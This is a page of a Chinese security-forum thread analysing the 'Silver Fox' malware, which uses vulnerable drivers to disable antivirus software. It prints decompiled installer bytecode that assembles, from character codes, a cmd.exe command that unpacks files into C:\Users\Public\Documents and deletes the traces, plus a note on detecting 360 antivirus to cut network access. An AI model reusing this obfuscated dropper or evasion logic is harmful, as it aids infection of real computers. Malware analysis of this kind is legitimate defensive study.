首页| 论坛| 搜索| 消息
主题:持续演进的银狐——不断增加脆弱驱动通过BYOVD结束防病毒软件
z3960发表于 2026-02-21 07:49
n Var17[7], S32(115)assign Var17[8], S32(92)assign Var17[9], S32(80)assign Var17[10], S32(117)assign Var17[11], S32(98)assign Var17[12], S32(108)assign Var17[13], S32(105)assign Var17[14], S32(99)assign Var17[15], S32(92)assign Var17[16], S32(68)assign Var17[17], S32(111)assign Var17[18], S32(99)assign Var17[19], S32(117)assign Var17[20], S32(109)assign Var17[21], S32(101)assign Var17[22], S32(110)assign Var17[23], S32(116)assign Var17[24], S32(115)assign Var16, Var17pop ; StackCount = 16pushvar Var15 ; StackCount = 17call STRFROMCODEpop ; StackCount = 16pop ; StackCount = 15add Var14, Var15pop ; StackCount = 14pushtype UnicodeString_2 ; StackCount = 15pushtype Type30 ; StackCount = 16pushtype Type30 ; StackCount = 17pushtype S32 ; StackCount = 18assign Var18, S32(21)pushvar Var17 ; StackCount = 19call SETARRAYLENGTHpop ; StackCount = 18pop ; StackCount = 17assign Var17[0], S32(92)assign Var17[1], S32(102)assign Var17[2], S32(117)assign Var17[3], S32(110)assign Var17[4], S32(122)assign Var17[5], S32(105)assign Var17[6], S32(112)assign Var17[7], S32(46)assign Var17[8], S32(101)assign Var17[9], S32(120)assign Var17[10], S32(101)assign Var17[11], S32(34)assign Var17[12], S32(32)assign Var17[13], S32(38)assign Var17[14], S32(38)assign Var17[15], S32(32)assign Var17[16], S32(100)assign Var17[17], S32(101)assign Var17[18], S32(108)assign Var17[19], S32(32)assign Var17[20], S32(34)assign Var16, Var17pop ; StackCount = 16pushvar Var15 ; StackCount = 17call STRFROMCODEpop ; StackCount = 16pop ; StackCount = 15add Var14, Var15pop ; StackCount = 14pushtype UnicodeString_2 ; StackCount = 15pushtype Type30 ; StackCount = 16pushtype Type30 ; StackCount = 17pushtype S32 ; StackCount = 18assign Var18, S32(25)pushvar Var17 ; StackCount = 19call SETARRAYLENGTHpop ; StackCount = 18pop ; StackCount = 17assign Var17[0], S32(67)assign Var17[1], S32(58)assign Var17[2], S32(92)assign Var17[3], S32(85)assign Var17[4], S32(115)assign Var17[5], S32(101)assign Var17[6], S32(114)assign Var17[7], S32(115)assign Var17[8], S32(92)assign Var17[9], S32(80)assign Var17[10], S32(117)assign Var17[11], S32(98)assign Var17[12], S32(108)assign Var17[13], S32(105)assign Var17[14], S32(99)assign Var17[15], S32(92)assign Var17[16], S32(68)assign Var17[17], S32(111)assign Var17[18], S32(99)assign Var17[19], S32(117)assign Var17[20], S32(109)assign Var17[21], S32(101)assign Var17[22], S32(110)assign Var17[23], S32(116)assign Var17[24], S32(115)assign Var16, Var17pop ; StackCount = 16pushvar Var15 ; StackCount = 17call STRFROMCODEpop ; StackCount = 16pop ; StackCount = 15add Var14, Var15pop ; StackCount = 14pushtype UnicodeString_2 ; StackCount = 15pushtype Type30 ; StackCount = 16pushtype Type30 ; StackCount = 17pushtype S32 ; StackCount = 18assign Var18, S32(11)pushvar Var17 ; StackCount = 19call SETARRAYLENGTHpop ; StackCount = 18pop ; StackCount = 17assign Var17[0], S32(92)assign Var17[1], S32(117)assign Var17[2], S32(110)assign Var17[3], S32(122)assign Var17[4], S32(105)assign Var17[5], S32(112)assign Var17[6], S32(46)assign Var17[7], S32(51)assign Var17[8], S32(34)assign Var17[9], S32(32)assign Var17[10], S32(34)assign Var16, Var17pop ; StackCount = 16pushvar Var15 ; StackCount = 17call STRFROMCODEpop ; StackCount = 16pop ; StackCount = 15add Var14, Var15pop ; StackCount = 14pushtype UnicodeString_2 ; StackCount = 15pushtype Type30 ; StackCount = 16pushtype Type30 ; StackCount = 17pushtype S32 ; StackCount = 18assign Var18, S32(25)pushvar Var17 ; StackCount = 19call SETARRAYLENGTHpop ; StackCount = 18pop ; StackCount = 17assign Var17[0], S32(67)assign Var17[1], S32(58)assign Var17[2], S32(92)assign Var17[3], S32(85)assign Var17[4], S32(115)assign Var17[5], S32(101)assign Var17[6], S32(114)assign Var17[7], S32(115)assign Var17[8], S32(92)assign Var17[9], S32(80)assign Var17[10], S32(117)assign Var17[11], S32(98)assign Var17[12], S32(108)assign Var17[13], S32(105)assign Var17[14], S32(99)assign Var17[15], S32(92)assign Var17[16], S32(68)assign Var17[17], S32(111)assign Var17[18], S32(99)assign Var17[19], S32(117)assign Var17[20], S32(109)assign Var17[21], S32(101)assign Var17[22], S32(110)assign Var17[23], S32(116)assign Var17[24], S32(115)assign Var16, Var17pop ; StackCount = 16pushvar Var15 ; StackCount = 17call STRFROMCODEpop ; StackCount = 16pop ; StackCount = 15add Var14, Var15pop ; StackCount = 14pushtype UnicodeString_2 ; StackCount = 15pushtype Type30 ; StackCount = 16pushtype Type30 ; StackCount = 17pushtype S32 ; StackCount = 18assign Var18, S32(9)pushvar Var17 ; StackCount = 19call SETARRAYLENGTHpop ; StackCount = 18pop ; StackCount = 17assign Var17[0], S32(92)assign Var17[1], S32(117)assign Var17[2], S32(110)assign Var17[3], S32(122)assign Var17[4], S32(105)assign Var17[5], S32(112)assign Var17[6], S32(46)assign Var17[7], S32(50)assign Var17[8], S32(34)assign Var16, Var17pop ; StackCount = 16pushvar Var15 ; StackCount = 17call STRFROMCODEpop ; StackCount = 16pop ; StackCount = 15add Var14, Var15pop ; StackCount = 14assign Var13, Var14pop ; StackCount = 13pushtype UnicodeString_2 ; StackCount = 14pushtype Type30 ; StackCount = 15pushtype Type30 ; StackCount = 16pushtype S32 ; StackCount = 17assign Var17, S32(7)pushvar Var16 ; StackCount = 18call SETARRAYLENGTHpop ; StackCount = 17pop ; StackCount = 16assign Var16[0], S32(99)assign Var16[1], S32(109)assign Var16[2], S32(100)assign Var16[3], S32(46)assign Var16[4], S32(101)assign Var16[5], S32(120)assign Var16[6], S32(101)assign Var15, Var16pop ; StackCount = 15pushvar Var14 ; StackCount = 16call STRFROMCODEpop ; StackCount = 15pop ; StackCount = 14pushvar Var8 ; StackCount = 15call EXECpop ; StackCount = 14pop ; StackCount = 13pop ; StackCount = 12pop ; StackCount = 11pop ; StackCount = 10pop ; StackCount = 9pop ; StackCount = 8pop ; StackCount = 7call OBFUSCATEDEXTRACTpushtype Type30 ; StackCount = 8pushtype Type30 ; StackCount = 9pushtype S32 ; StackCount = 10assign Var10, S32(51)pushvar Var9 ; StackCount = 11call SETARRAYLENGTHpop ; StackCount = 10pop ; StackCount =
下一页上一页  (9/23)
回帖(7):
7 # hanxiao129
02-22 20:31
看来很不错的
6 # hanxiao129
02-22 20:30
不错的银狐
5 # hanxiao129
02-22 20:30
感谢楼主分享
4 # huwg
02-21 16:56
谢谢分享
3 # huwg
02-21 16:56
了解一下
2 # huwg
02-21 16:56
来看看看
1 # z3960
02-21 07:50
该函数会检测360主防进程——若存在,则执行断网,具体如下:该函数会调用代码中的“IS360PROCES ..

全部回帖(7)»
最新回帖
收藏本帖
发新帖